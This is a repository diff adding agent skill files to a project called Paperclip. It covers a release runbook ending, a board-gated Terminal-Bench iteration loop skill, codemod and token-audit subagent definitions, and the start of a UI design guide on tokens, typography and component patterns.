Confirm:
1. verification passed
2. npm canary publish succeeded
3. git tag `canary/vYYYY.MDD.P-canary.N` exists
Useful checks:
```bash
npm view paperclipai@canary version
git tag --list 'canary/v*' --sort=-version:refname | head -5
```
## Step 5 — Smoke Test the Canary
Run:
```bash
PAPERCLIPAI_VERSION=canary ./scripts/docker-onboard-smoke.sh
```
Useful isolated variant:
```bash
HOST_PORT=3232 DATA_DIR=./data/release-smoke-canary PAPERCLIPAI_VERSION=canary ./scripts/docker-onboard-smoke.sh
```
Confirm:
1. install succeeds
2. onboarding completes without crashes
3. the server boots
4. the UI loads
5. basic company creation and dashboard load work
If smoke testing fails:
- stop the stable release
- fix the issue on `master`
- wait for the next automatic canary
- rerun smoke testing
## Step 6 — Preview or Publish Stable
The normal stable path is manual `workflow_dispatch` on:
- `.github/workflows/release.yml`
Inputs:
- `source_ref`
- `stable_date`
- `dry_run`
Before live stable:
1. resolve the target stable version with `./scripts/release.sh stable --date YYYY-MM-DD --print-version`
2. ensure `releases/vYYYY.MDD.P.md` exists on the source ref
3. run the stable workflow in dry-run mode first when practical
4. then run the real stable publish
The stable workflow:
- re-verifies the exact source ref
- computes the next stable patch slot for the chosen UTC date
- publishes `YYYY.MDD.P` under dist-tag `latest`
- creates git tag `vYYYY.MDD.P`
- creates or updates the GitHub Release from `releases/vYYYY.MDD.P.md`
Local emergency/manual commands:
```bash
./scripts/release.sh stable --dry-run
./scripts/release.sh stable
git push public-gh refs/tags/vYYYY.MDD.P
./scripts/create-github-release.sh YYYY.MDD.P
```
## Step 7 — Finish the Other Surfaces
Create or verify follow-up work for:
- website changelog publishing
- launch post / social announcement
- release summary in Paperclip issue context
These should reference the stable release, not the canary.
## Failure Handling
If the canary is bad:
- publish another canary, do not ship stable
If stable npm publish succeeds but tag push or GitHub release creation fails:
- fix the git/GitHub issue immediately from the same release result
- do not republish the same version
If `latest` is bad after stable publish:
```bash
./scripts/rollback-latest.sh <last-good-version>
```
Then fix forward with a new stable release.
## Output
When the skill completes, provide:
- candidate SHA and tested canary version, if relevant
- stable version, if promoted
- verification status
- npm status
- smoke-test status
- git tag / GitHub Release status
- website / announcement follow-up status
- rollback recommendation if anything is still partially complete
+236
View File
@@ -0,0 +1,236 @@
---
name: terminal-bench-loop
description: >
Run a single Terminal-Bench problem through Paperclip in a bounded,
human-in-the-loop improvement cycle until the smoke passes, the board
rejects the next fix, the iteration budget is exhausted, or a real
blocker is named. Each iteration runs a bounded smoke against an
isolated Paperclip App worktree, captures artifacts, diagnoses the
exact stop point with `/diagnose-why-work-stopped`, requests board
confirmation before any product fix, then reruns against the same
worktree. Use whenever an issue asks to "run Terminal-Bench in a
loop", "drive Terminal-Bench until it passes", "loop fix-git through
Paperclip", or otherwise points at a Terminal-Bench task and asks for
bounded iteration with diagnosis.
---
# Terminal-Bench Loop
A repeatable operating skill for driving one Terminal-Bench problem to a passing smoke through Paperclip, with explicit issue topology, bounded runs, board-gated product fixes, and worktree continuity.
This skill is **operational + diagnostic**, not engineering. It coordinates issues, artifacts, and approvals around a Terminal-Bench loop. It does not authorize code changes — every accepted product fix lands as a separate implementation child issue after a board confirmation.
Canonical execution model: read `doc/execution-semantics.md` before starting a loop or moving any loop issue. Every loop issue must rest in a state the doc allows: terminal (`done`/`cancelled`), explicitly live (active run / queued wake), explicitly waiting (`in_review` with participant/interaction/approval), or explicit recovery/blocker (`blocked` with `blockedByIssueIds` and a named owner).
## When to use
Trigger on an assignment whose title or body matches any of:
- "run Terminal-Bench in a loop", "loop \<task-name\> through Paperclip"
- "drive Terminal-Bench fix-git", "iterate on Terminal-Bench until it passes"
- "Terminal-Bench smoke loop", "bench loop", "smoke loop on \<task-name\>"
- An attached link to a Terminal-Bench loop parent issue, plus a request to do another iteration
Also use when the user hands you an existing top-level loop issue and asks for the next iteration, diagnosis, or rerun.
## When NOT to use
- The assignment is to build or change `paperclip-bench` itself (Harbor adapter, wrapper, telemetry). Use normal engineering flow on that repo.
- The assignment is to submit a benchmark result for ranking. This skill produces smoke/non-comparable runs by design — escalate full-suite or comparable runs to BenchmarkQualityManager.
- The assignment is a normal Paperclip product bug not surfaced by a Terminal-Bench loop. Use normal investigation.
- You have not been granted permission to install or assign company skills, and the asker actually wants library mutation. Hand that step to an authorized skill-library owner.
## Three invariants you must preserve
Every loop iteration and every proposed product fix must hold these three invariants together. They come from `/diagnose-why-work-stopped` and the user has restated them across the liveness work:
1. **Productive work continues.** Each loop issue must always have a clear next action owner — agent, board, user, or named blocker. No silent `in_review` with nothing waiting on it.
2. **Only real blockers stop work.** Stops happen when something genuinely cannot proceed (board confirmation, QA, missing credentials, exhausted budget). Pseudo-stops must be detected and routed.
3. **No infinite loops.** Iteration count, wall-clock budget, and a board gate before product fixes are applied keep the loop bounded.
If a proposed iteration violates any of the three, drop it or rework it. State explicitly in the loop issue how each invariant is held this iteration.
## Inputs
Collect these on the top-level loop issue before iteration 1. Any input that cannot be supplied is a blocker — name the unblock owner and stop.
- **Source issue.** The Paperclip issue that asked for the loop. The loop parent links back to it.
- **Terminal-Bench task name.** Single-task identifier (e.g. `terminal-bench/fix-git`). Multi-task suites are out of scope for this skill.
- **Iteration budget.** Maximum number of iterations before the loop must stop without further fixes (typical: 3–5). Also record a per-iteration wall-clock cap.
- **Paperclip App worktree issue.** The implementation-side issue under the Paperclip App project whose execution workspace owns the isolated worktree. First iteration creates it; later iterations reuse it via `inheritExecutionWorkspaceFromIssueId` or equivalent.
- **Benchmark command.** The exact `paperclip-bench` invocation, including the `PAPERCLIPAI_CMD` (or equivalent) binding pinned to the Paperclip App worktree under test. Record verbatim on the loop issue.
- **Dispatch runner config.** The exact Harbor/Paperclip runner dispatch config required for the smoke to actually start a Paperclip heartbeat. For the current Harbor wrapper, record the `PAPERCLIP_HARBOR_RUNNER_CONFIG` JSON (or equivalent config file) verbatim enough to preserve: `assignee`, `heartbeat_strategy`, `agent_adapter` / `agent_adapters`, `reuse_host_home` when local credentials are intentionally needed, and the stop budget. A bare Harbor command that creates `BEN-1` as unassigned `todo` with zero heartbeat-enabled agents is a harness/setup failure, not a valid product diagnosis.
- **Latest artifact root.** Filesystem or storage path under which `paperclip-bench` writes run artifacts (manifest, `results.jsonl`, Harbor raw job folders, redacted telemetry). Each iteration appends; nothing is overwritten.
- **Approval policy.** Who must accept a proposed product fix before implementation (default: board via `request_confirmation`; CTO if delegated; never the loop driver alone).
Record each input on the top-level loop issue (description or a dedicated `inputs` document). If any input changes mid-loop, note the change and the iteration it took effect.
## Issue topology
The loop must be representable as a tree, not as prose in comments:
- **Top-level loop issue.** Long-lived. Holds inputs, iteration counter, current state, links to every iteration child, and the product-rule history. Rests in `in_progress` while an iteration is running, `in_review` only when a typed waiter sits directly on the loop parent (execution-policy participant, `request_confirmation` / `ask_user_questions` / `suggest_tasks` interaction, approval, or named human owner), `blocked` with `blockedByIssueIds` while a child issue is the gating work (iteration child holding the fix-proposal `request_confirmation`, or implementation, QA, or CTO review children), `done` on pass, or `cancelled` on board-rejection / budget exhaustion.
- **Iteration child issues.** One per iteration. Each carries: a bounded run issue (smoke), a diagnosis issue (applies `/diagnose-why-work-stopped`), a fix-proposal document with a `request_confirmation` interaction, and — only after acceptance — implementation, QA, CTO review, and rerun children. Iteration children are blocked by their predecessors so the executor wakes them in order.
- **Paperclip App implementation issue.** The first iteration creates a fresh Paperclip App child whose project policy spawns an isolated worktree. Every later iteration's implementation/rerun child references that same execution workspace via `inheritExecutionWorkspaceFromIssueId` so the same worktree is amended and tested.
Wire dependencies with `blockedByIssueIds`, never with prose like "blocked by X". When a dependent child is `done`, the executor auto-wakes the next.
## Procedure
### 0. Read the current execution contract
Before opening or advancing a loop, read `doc/execution-semantics.md`. Use that document's terms intact when classifying loop-issue state: live path / waiting path / recovery path; post-run disposition; bounded continuation; productivity review; pause-hold; watchdog. Do not invent a new state.
### 1. Open or reuse the top-level loop issue
- If an existing loop issue is supplied, read it: inputs, iteration counter, last iteration's stop reason, current Paperclip App worktree pointer, latest benchmark command.
- If no loop issue exists, create one under the Paperclip App project (or the project the source issue points at). Title: `Terminal-Bench loop: <task-name>`. Description captures the inputs above, the iteration budget, and a link to the source issue.
- Verify the worktree pointer still resolves. If the recorded execution workspace was discarded (worktree pruned, project changed), the loop is blocked — name the unblock owner (CodexCoder or the Paperclip App owner) and stop.
### 2. Open the iteration child
- Increment the iteration counter on the loop issue.
- Create an iteration child titled `Iteration N: <task-name>`. Its description repeats the inputs and references the loop parent. Block it on the prior iteration's terminal child (if any) so the executor cannot start two iterations in parallel.
- If the iteration counter would exceed the budget, do not create the child. Move the loop issue to `cancelled` (budget exhausted) or `in_review` if the user must decide whether to extend the budget.
### 3. Run the bounded smoke
- The benchmark command must use the Paperclip App worktree under test. Set `PAPERCLIPAI_CMD` (or the equivalent command binding) to the CLI entrypoint inside that worktree. Never let the smoke run against the operator's current Paperclip checkout.
- The same command block must include the runner dispatch config that makes the benchmark issue actionable. For the current Harbor wrapper, export `PAPERCLIP_HARBOR_RUNNER_CONFIG` with the intended assignee, heartbeat strategy, agent adapter, credential/home mode, and stop budget. Do not treat a bare `uvx harbor run ...` as the canonical smoke if it omits the dispatch config; record that as a harness/setup miss and rerun with the recorded config.
- Bound the run by wall-clock and by Paperclip's run-budget controls. If the smoke would exceed the per-iteration cap, kill it and record the truncation reason.
- Capture, in the iteration child or a dedicated `run` document:
- Paperclip run id and heartbeat run ids
- benchmark run id, manifest, `results.jsonl` row, Harbor raw job folder
- dispatch config used (`PAPERCLIP_HARBOR_RUNNER_CONFIG` or equivalent), including assignee and adapter type
- the exact stop reason reported by the harness (pass, harness fail, verifier fail, timeout, agent gave up, infrastructure error)
- heartbeat-enabled and heartbeat-observed agent counts when Paperclip telemetry exports them
- failure taxonomy bucket (task/model, Paperclip product, harness/setup, verifier/infrastructure, security, unclear)
- artifact paths under the latest artifact root
- Label the iteration as **smoke / non-comparable**. Comparable runs are out of scope for this skill.
### 4. Diagnose the exact stop point
Apply the `/diagnose-why-work-stopped` pattern to the iteration's run, scoped to this loop only — do not pull in unrelated forensic boilerplate. Specifically:
- Walk the Paperclip issue tree the smoke produced under the Paperclip App worktree, node by node, and find the exact `(issue, status)` combination that stopped progress. Quote evidence: run ids, comment timestamps, status transitions.
- Classify every non-progressing issue in that subtree as **truly needs human/board intervention**, **agent-actionable but not currently routed**, or **already covered**.
- State whether the failure is task/model, Paperclip product, harness/setup, verifier/infrastructure, security, or unclear. Be explicit when evidence is inferred (e.g. cross-company API boundary blocks direct reads).
- If the failure is a Paperclip product gap, frame the fix as a **general product rule** stated as a contract, and check it against the three invariants above. If the rule would have blocked a recent productive run, narrow it.
Record the diagnosis on the iteration child as a `diagnosis` document. Do not propose code yet.
### 5. Decide the next move
Based on the diagnosis, the iteration ends in exactly one of these terminal-for-iteration states:
- **Pass.** Smoke verifier reports pass. Move the iteration child and the loop parent toward QA/CTO review (Step 8).
- **Product fix proposed.** A Paperclip product gap was identified. Write the fix proposal as a `plan` document on the iteration child, then go to Step 6.
- **Non-product failure with retry.** Failure is harness/setup/infrastructure or model flakiness, the iteration budget is not exhausted, and the loop driver believes a rerun without code changes has signal (e.g. transient infra). Record the rationale on the iteration child and go to Step 7 with no implementation step.
- **Real blocker.** Named external blocker (credentials, quota, third-party outage, security review). Move the loop issue to `blocked`, set `blockedByIssueIds` to the blocker issue (creating one if needed), and name the unblock owner. Stop.
- **Budget or board stop.** Iteration budget reached, or the board has rejected the next fix proposal. Move the loop issue to `cancelled` with a comment that summarizes the run history and the reason for stopping.
### 6. Request board confirmation before any product fix
When the iteration ends in **product fix proposed**:
- Update the iteration child's `plan` document with the proposed contract, the three-invariant check, the affected Paperclip surfaces, and the phased subtasks (implementation, QA, CTO review, rerun) — but do not create those subtasks.
- Open the `request_confirmation` interaction on the **iteration child** (the same issue that owns the `plan` document), targeting the latest plan revision. Idempotency key: `confirmation:{iterationIssueId}:plan:{revisionId}`. Set `continuationPolicy` to `wake_assignee`.
- Move the **iteration child** to `in_review`. The typed waiter — the `request_confirmation` interaction — sits directly on it, so its `in_review` is healthy. Comment links the plan document and names the pending confirmation.
- Move the **loop parent** to `blocked` with `blockedByIssueIds: [iterationChildId]` and a comment naming the board (or whichever approver the approval policy designates) as the unblock owner. Do not move the loop parent to `in_review` here: the typed waiter lives on the iteration child, not on the parent, so the parent's wait path is the child blocker. This matches the topology rule that the loop parent only sits in `in_review` when a typed waiter is attached directly to the parent.
- Wait for acceptance. If the board posts a superseding comment that changes the plan, revise the document, then open a fresh confirmation tied to the new revision on the iteration child — the prior one is invalidated. The loop parent's `blockedByIssueIds` already points at the iteration child, so it does not need to change.
- On rejection, end the loop per the **Budget or board stop** rule; do not silently retry the same proposal.
- On acceptance, create the implementation, QA, CTO review, and rerun child issues with `blockedByIssueIds` wired in order, and update the loop parent's `blockedByIssueIds` to point at the new gating child (typically the implementation child) so the parent stays `blocked` against real downstream work. The implementation child must inherit the Paperclip App execution workspace (`inheritExecutionWorkspaceFromIssueId` to the worktree-owning issue) so the fix lands in the same isolated worktree the smoke ran against.
### 7. Rerun against the same worktree
After implementation and QA complete (or immediately, in the **non-product failure with retry** case), the rerun child runs the same `paperclip-bench` invocation with `PAPERCLIPAI_CMD` still pinned to the Paperclip App worktree under test.
- The rerun must use the same worktree the fix landed in. If the workspace was reset between iterations, the loop is invalid — open a blocker on the loop issue and stop.
- On completion, the rerun child becomes the next iteration's run record. If the smoke now passes, jump to Step 8. Otherwise return to Step 4 with a new iteration child (subject to the iteration budget).
### 8. Pass: QA, CTO review, close
When the smoke passes:
- Create QA and CTO review children if they are not already in the dependency chain (CTO review blocked by QA, so the chain wakes in order). Move the loop parent to `blocked` with `blockedByIssueIds` set to the QA / CTO review chain, and post a comment that names QA and CTO as the unblock owners and links the children. The loop parent stays `blocked` — not `in_review` — because the typed waiter lives on the children, not on the parent.
- If you instead want the loop parent itself to sit in `in_review` during this phase (for example because a board user has explicitly volunteered to drive the review), put a typed waiter directly on the parent — execution-policy participant, `request_confirmation` / `ask_user_questions` / `suggest_tasks` interaction, approval, or named human owner — and do not rely on the child chain alone. Do not combine `in_review` on the parent with QA/CTO children acting as the blocker; that is the ambiguous review shape this skill exists to prevent.
- QA validates artifacts (manifest, `results.jsonl`, Harbor raw job, redacted telemetry) and the rerun reproducibility against the same worktree.
- CTO reviews the technical scope of any product fixes that landed during the loop.
- On QA + CTO acceptance, close the loop issue with a board-level summary comment: task name, iteration count, stop reason (pass), worktree pointer, link to the final artifact root, and the list of accepted product fixes (each with its implementation issue id).
### 9. Stop rules
The loop **must** stop, with state explicitly recorded on the loop issue, when any of these is true:
- **Pass.** Smoke verifier reports pass and QA + CTO accept (Step 8). Loop issue → `done`.
- **Board rejection.** Board rejects a fix proposal and does not request a revision. Loop issue → `cancelled`. Comment names the rejected proposal and the reason.
- **Iteration budget reached.** Iteration counter reaches the budget without a pass. Loop issue → `cancelled` (or `in_review` if the user must decide whether to extend the budget). Never silently start iteration N+1.
- **Real blocker named.** External blocker (credentials, quota, infra, security, missing skill) cannot be resolved by the loop driver. Loop issue → `blocked` with `blockedByIssueIds` to the blocker issue and the unblock owner named.
A loop must never end on a prose comment alone. Every stop is a status transition with a named next-action owner.
## Worktree rule
The loop must not test whatever Paperclip checkout happens to be current for the heartbeat. It must test the same isolated Paperclip App worktree where proposed fixes are applied.
- The first iteration creates the Paperclip App implementation child; that project's git-worktree policy spawns a fresh worktree.
- The loop issue records the worktree-owning issue id and the workspace path (or workspace id).
- Every later implementation, QA, and rerun child sets `inheritExecutionWorkspaceFromIssueId` to that worktree-owning issue, so all subsequent loop work shares one workspace.
- The benchmark command always sets `PAPERCLIPAI_CMD` (or the equivalent command binding) to the CLI entrypoint inside that worktree, and it carries the recorded dispatch runner config (`PAPERCLIP_HARBOR_RUNNER_CONFIG` or equivalent) needed to assign the benchmark issue and start the heartbeat. The benchmark command stored on the loop issue is the source of truth — if a heartbeat needs to run the smoke from a different shell, it copies the recorded command block verbatim, not only the Harbor invocation line.
- If the workspace is pruned or the worktree path no longer resolves, the loop is invalid until rebuilt. Mark the loop `blocked` and name the unblock owner (typically CodexCoder or the Paperclip App owner).
## Liveness rule
Every loop issue, at the end of every heartbeat, must rest in one of:
- **Terminal:** `done` or `cancelled`. No further action.
- **Explicitly live:** `in_progress` with an active run, an upcoming queued wake, or a child issue actively executing under it.
- **Explicitly waiting:** `in_review` with a typed waiter — execution-policy participant, `request_confirmation` / `ask_user_questions` / `suggest_tasks` interaction, approval, or a named human owner.
- **Explicit recovery / blocker:** `blocked` with `blockedByIssueIds` set to a real blocking issue, plus a comment naming the unblock owner and the action needed.
If a loop issue does not fit one of these on exit, the heartbeat is not done. Fix the state before exiting.
## Pitfalls
- **Running the smoke against the operator's Paperclip checkout.** The whole point of the worktree rule is that the bench tests the worktree the fix lands in. Always set `PAPERCLIPAI_CMD` and verify the path before launching the run.
- **Dropping the dispatch config.** A Harbor run that omits `PAPERCLIP_HARBOR_RUNNER_CONFIG` (or equivalent) may boot Paperclip and create `BEN-1`, but leave it unassigned with zero heartbeat-enabled agents. That is not a Terminal-Bench product signal. Preserve and rerun the full command block, including assignee and adapter config.
- **Coding before approval.** No implementation child exists until a board confirmation accepts the iteration's `plan` document. Do not push code in the diagnostic phase.
- **Skipping the recent-work survey.** When proposing a Paperclip product rule, check what already shipped in the affected liveness/execution area in the last few days. A rule that contradicts last-week's accepted contract is rework.
- **Letting `in_review` mean done.** A loop or iteration child sitting in `in_review` with no participant, no interaction, no approval, and no human owner is a stop, not progress. Treat it as a liveness violation and route it.
- **Silent iteration N+1.** If the iteration budget is reached, never start another iteration without an explicit budget extension recorded on the loop issue.
- **Comparable-run drift.** This skill produces smoke runs only. If the asker wants a comparable benchmark submission, hand off to BenchmarkQualityManager and BenchmarkForensics — do not relabel a smoke as comparable.
- **Recursive recovery.** Stranded-work recovery that recovers its own recovery issues is the canonical infinite loop. If a diagnosis surfaces it inside the smoke's subtree, refuse to deepen and route to `/diagnose-why-work-stopped` for a product-rule fix.
- **Skill-library mutation.** This skill never installs, edits, or assigns company skills as part of a loop iteration. Library changes go to an authorized skill-library owner via a separate issue.
- **Hiding the chain.** Do not silently delete or hide failed iteration children, retracted proposals, or rejected confirmations. The audit trail is the loop's evidence.
## Verification checklist (before exiting a heartbeat that touched the loop)
- [ ] All inputs are recorded on the top-level loop issue, including the exact benchmark command, `PAPERCLIPAI_CMD` binding, and dispatch runner config.
- [ ] Iteration counter is up to date and within budget.
- [ ] The Paperclip App worktree pointer still resolves, and the iteration's run/implementation/rerun children share that workspace.
- [ ] The smoke run is captured with run ids, manifest, `results.jsonl`, Harbor raw job folder, and stop reason.
- [ ] Paperclip telemetry shows the benchmark issue was assigned and a heartbeat was enabled/observed, or the iteration is explicitly classified as harness/setup no-dispatch.
- [ ] Diagnosis applies the `/diagnose-why-work-stopped` pattern, classifies every non-progressing issue, and checks the three invariants.
- [ ] No implementation child exists for an unapproved fix proposal; if one was proposed, a `request_confirmation` is open against the latest plan revision.
- [ ] Every loop and iteration issue rests in a terminal, explicitly-live, explicitly-waiting, or named-blocker state.
- [ ] The stop reason — if the loop stopped this heartbeat — is one of pass, board rejection, budget exhausted, or named real blocker.
- [ ] No company-skill library mutation happened in this heartbeat.
## Deterministic smoke
Run this smoke after installing or changing the skill, before treating it as operational for a live Terminal-Bench loop:
```sh
pnpm smoke:terminal-bench-loop-skill
```
The command uses the current Paperclip API token and company from `PAPERCLIP_API_URL`, `PAPERCLIP_API_KEY`, and `PAPERCLIP_COMPANY_ID`. When `PAPERCLIP_TASK_ID` is set, it attaches the smoke issues under that source issue and inherits its project/goal context. By default it cancels the short-lived smoke issues after verification; pass `-- --keep` to leave the verified `blocked` loop parent, `in_review` iteration child, and pending confirmation available for manual inspection.
The smoke is deterministic and intentionally non-comparable. It does not start Terminal-Bench, Harbor, an agent model, or a provider runtime. It verifies only the control-plane shape:
- local `.agents/skills/terminal-bench-loop/SKILL.md` contains the loop contract terms;
- a top-level loop issue can be created and updated into a blocker posture;
- an iteration child issue can be created under the loop parent;
- mocked benchmark artifact paths are recorded on a `run` document;
- a `diagnosis` document names the exact stop point and next-action owner;
- a `request_confirmation` interaction is created and the iteration child rests in `in_review` with a typed waiting path rather than silent review.
+17
View File
@@ -0,0 +1,17 @@
---
name: codemod-runner
description: Writes and runs codemod scripts that replace hardcoded visual values with token references in ui/src/index.css. Use for Phase 2 of the design simplification run — mechanical refactors only.
tools: Read, Write, Edit, Bash, Glob, Grep
model: sonnet
---
You perform mechanical refactors via scripts, never hand-edits. Follow DESIGN.md at the repo root.
Rules:
- The token destination is ui/src/index.css (Tailwind v4), optionally a tokens.css imported by it. NEVER create a parallel token source. Tokens that must be runtime-tunable go in a NON-inline block — `@theme inline` bakes literals at build time.
- Where a hardcoded value EXACTLY matches an existing token, replace it with that token reference. Otherwise extract the value into a new token VERBATIM — no normalizing, rounding, or inventing a scale. Ugly values stay ugly.
- Every rewrite happens through a codemod script committed to scripts/ before it is run. Scripts must be idempotent and reviewable.
- Third-party style overrides that cannot use tokens go on a documented allowlist in the token source, each with an inline comment saying why.
- Verify after every script run: rg gates (zero hardcoded hex, zero arbitrary px/bracket values in ui/src/components/** and ui/src/pages/** outside the allowlist), pnpm typecheck, and the Storybook snapshot suite. Snapshots must match the Phase 0 baseline exactly.
- If a replacement cannot be made without visual change, skip it and record it in doc/design/TOKEN-AUDIT.md under "Needs human decision".
+16
View File
@@ -0,0 +1,16 @@
---
name: token-auditor
description: Scans ui/src/ for hardcoded visual values, duplicate components, and shadcn replacement candidates; produces doc/design/TOKEN-AUDIT.md and doc/design/COMPONENT-INVENTORY.md. Read-only on source — never modifies component files. Use for Phase 1 of the design simplification run.
tools: Read, Grep, Glob, Bash
model: sonnet
---
You inventory design-system debt in this repository. Follow DESIGN.md at the repo root; read doc/design/PRIOR-ART.md first — a previous audit found only 6 of ~220 drift sites were exact-value-mappable to existing tokens, so expect most hardcoded values to need new verbatim tokens.
Your outputs (written to the repo root):
1. TOKEN-AUDIT.md — every hardcoded color/spacing/radius/type/shadow value in ui/src/, with frequency, file locations, and near-duplicate clusters (e.g. 13/14/15px used interchangeably). For each value, note whether it EXACTLY matches one of the ~80 existing tokens in ui/src/index.css (semantic / brand / domain tiers — see DESIGN.md). Flag clusters for human review; never merge or normalize them. Include a "Needs human decision" section.
2. COMPONENT-INVENTORY.md — all components under ui/src/components/ (24 primitives in ui/, ~277 feature components), their variants, and suspected duplicates with evidence (similar props, similar rendered output, copy-pasted origins). Include a "shadcn candidates" section: (a) custom components duplicating an available shadcn primitive, (b) installed shadcn components that drifted from the registry (npx shadcn@latest diff where available), (c) raw Radix/plain elements where an installed shadcn wrapper exists. For each, state the recommended replacement and expected visual impact. Recommendations only — merges and swaps happen in later human-approved runs, never this one.
Never modify source files. Bash access is for read-only commands (rg, find, npx shadcn diff) and writing the two report files only.
+1
View File
@@ -0,0 +1 @@
../../.agents/skills/company-creator
+351
View File
@@ -0,0 +1,351 @@
---
name: design-guide
description: >
Paperclip UI design system guide for building consistent, reusable frontend
components. Use when creating new UI components, modifying existing ones,
adding pages or features to the frontend, styling UI elements, or when you
need to understand the design language and conventions. Covers: component
creation, design tokens, typography, status/priority systems, composition
patterns, and the /design-guide showcase page. Always use this skill
alongside the frontend-design skill (for visual quality) and the
web-design-guidelines skill (for web best practices).
---
# Paperclip Design Guide
Paperclip's UI is a professional-grade control plane — dense, keyboard-driven, dark-themed by default. Every pixel earns its place.
**Always use with:** `frontend-design` (visual polish) and `web-design-guidelines` (web best practices).
---
## 1. Design Principles
- **Dense but scannable.** Maximum information without clicks to reveal. Whitespace separates, not pads.
- **Keyboard-first.** Global shortcuts (Cmd+K, C, [, ]). Power users rarely touch the mouse.
- **Contextual, not modal.** Inline editing over dialog boxes. Dropdowns over page navigations.
- **Dark theme default.** Neutral grays (OKLCH), not pure black. Accent colors for status/priority only. Text is the primary visual element.
- **Component-driven.** Prefer reusable components that capture style conventions. Build at the right abstraction — not too granular, not too monolithic.
---
## 2. Tech Stack
- **React 19** + **TypeScript** + **Vite**
- **Tailwind CSS v4** with CSS variables (OKLCH color space)
- **shadcn/ui** (new-york style, neutral base, CSS variables enabled)
- **Radix UI** primitives (accessibility, focus management)
- **Lucide React** icons (16px nav, 14px inline)
- **class-variance-authority** (CVA) for component variants
- **clsx + tailwind-merge** via `cn()` utility
Config: `ui/components.json` (aliases: `@/components`, `@/components/ui`, `@/lib`, `@/hooks`)
---
## 3. Design Tokens
All tokens defined as CSS variables in `ui/src/index.css`. Both light and dark themes use OKLCH.
### Colors
Use semantic token names, never raw color values:
| Token | Usage |
|-------|-------|
| `--background` / `--foreground` | Page background and primary text |
| `--card` / `--card-foreground` | Card surfaces |
| `--primary` / `--primary-foreground` | Primary actions, emphasis |
| `--secondary` / `--secondary-foreground` | Secondary surfaces |
| `--muted` / `--muted-foreground` | Subdued text, labels |
| `--accent` / `--accent-foreground` | Hover states, active nav items |
| `--destructive` | Destructive actions |
| `--border` | All borders |
| `--ring` | Focus rings |
| `--sidebar-*` | Sidebar-specific variants |
| `--chart-1` through `--chart-5` | Data visualization |
### Radius
Single `--radius` variable (0.625rem) with derived sizes:
- `rounded-sm` — small inputs, pills
- `rounded-md` — buttons, inputs, small components
- `rounded-lg` — cards, dialogs
- `rounded-xl` — card containers, large components
- `rounded-full` — badges, avatars, status dots
### Shadows
Minimal shadows: `shadow-xs` (outline buttons), `shadow-sm` (cards). No heavy shadows.
---
## 4. Typography Scale
Use these exact patterns — do not invent new ones:
| Pattern | Classes | Usage |
|---------|---------|-------|
| Page title | `text-xl font-bold` | Top of pages |
| Section title | `text-lg font-semibold` | Major sections |
| Section heading | `text-sm font-semibold text-muted-foreground uppercase tracking-wide` | Section headers in design guide, sidebar |
| Card title | `text-sm font-medium` or `text-sm font-semibold` | Card headers, list item titles |
| Body | `text-sm` | Default body text |
| Muted | `text-sm text-muted-foreground` | Descriptions, secondary text |
| Tiny label | `text-xs text-muted-foreground` | Metadata, timestamps, property labels |
| Mono identifier | `text-xs font-mono text-muted-foreground` | Issue keys (PAP-001), CSS vars |
| Large stat | `text-2xl font-bold` | Dashboard metric values |
| Code/log | `font-mono text-xs` | Log output, code snippets |
---
## 5. Status & Priority Systems
### Status Colors (consistent across all entities)
Defined in `StatusBadge.tsx` and `StatusIcon.tsx`:
| Status | Color | Entity types |
|--------|-------|-------------|
| active, achieved, completed, succeeded, approved, done | Green shades | Agents, goals, issues, approvals |
| running | Cyan | Agents |
| paused | Orange | Agents |
| idle, pending | Yellow | Agents, approvals |
| failed, error, rejected, blocked | Red shades | Runs, agents, approvals, issues |
| archived, planned, backlog, cancelled | Neutral gray | Various |
| todo | Blue | Issues |
| in_progress | Indigo | Issues |
| in_review | Violet | Issues |
### Priority Icons
Defined in `PriorityIcon.tsx`: critical (red/AlertTriangle), high (orange/ArrowUp), medium (yellow/Minus), low (blue/ArrowDown).
### Agent Status Dots
Inline colored dots: running (cyan, animate-pulse), active (green), paused (yellow), error (red), offline (neutral).
---
## 6. Component Hierarchy
Three tiers:
1. **shadcn/ui primitives** (`ui/src/components/ui/`) — Button, Card, Input, Badge, Dialog, Tabs, etc. Do not modify these directly; extend via composition.
2. **Custom composites** (`ui/src/components/`) — StatusBadge, EntityRow, MetricCard, etc. These capture Paperclip-specific design language.
3. **Page components** (`ui/src/pages/`) — Compose primitives and composites into full views.
**See [references/component-index.md](references/component-index.md) for the complete component inventory with usage guidance.**
### When to Create a New Component
Create a reusable component when:
- The same visual pattern appears in 2+ places
- The pattern has interactive behavior (status changing, inline editing)
- The pattern encodes domain logic (status colors, priority icons)
Do NOT create a component for:
- One-off layouts specific to a single page
- Simple className combinations (use Tailwind directly)
- Thin wrappers that add no semantic value
---
## 7. Composition Patterns
These patterns describe how components work together. They may not be their own component, but they must be used consistently across the app.
### Entity Row with Status + Priority
The standard list item for issues and similar entities:
```tsx
<EntityRow
leading={<><StatusIcon status="in_progress" /><PriorityIcon priority="high" /></>}
identifier="PAP-001"
title="Implement authentication flow"
subtitle="Assigned to Agent Alpha"
trailing={<StatusBadge status="in_progress" />}
onClick={() => {}}
/>
```
Leading slot always: StatusIcon first, then PriorityIcon. Trailing slot: StatusBadge or timestamp.
### Grouped List
Issues grouped by status header + entity rows:
```tsx
<div className="flex items-center gap-2 px-4 py-2 bg-muted/50 rounded-t-md">
<StatusIcon status="in_progress" />
<span className="text-sm font-medium">In Progress</span>
<span className="text-xs text-muted-foreground ml-1">2</span>
</div>
<div className="border border-border rounded-b-md">
<EntityRow ... />
<EntityRow ... />
</div>
```
### Property Row
Key-value pairs in properties panels:
```tsx
<div className="flex items-center justify-between py-1.5">
<span className="text-xs text-muted-foreground">Status</span>
<StatusBadge status="active" />
</div>
```
Label is always `text-xs text-muted-foreground`, value on the right. Wrap in a container with `space-y-1`.
### Metric Card Grid
Dashboard metrics in a responsive grid:
```tsx
<div className="grid md:grid-cols-2 xl:grid-cols-4 gap-4">
<MetricCard icon={Bot} value={12} label="Active Agents" description="+3 this week" />
...
</div>
```
### Progress Bar (Budget)
Color by threshold: green (<60%), yellow (60-85%), red (>85%):
```tsx
<div className="w-full h-2 bg-muted rounded-full overflow-hidden">
<div className="h-full rounded-full bg-green-400" style={{ width: `${pct}%` }} />
</div>
```
### Comment Thread
Author header (name + timestamp) then body, in bordered cards with `space-y-3`. Add comment textarea + button below.
### Cost Table
Standard `<table>` with `text-xs`, header row with `bg-accent/20`, `font-mono` for numeric values.
### Log Viewer
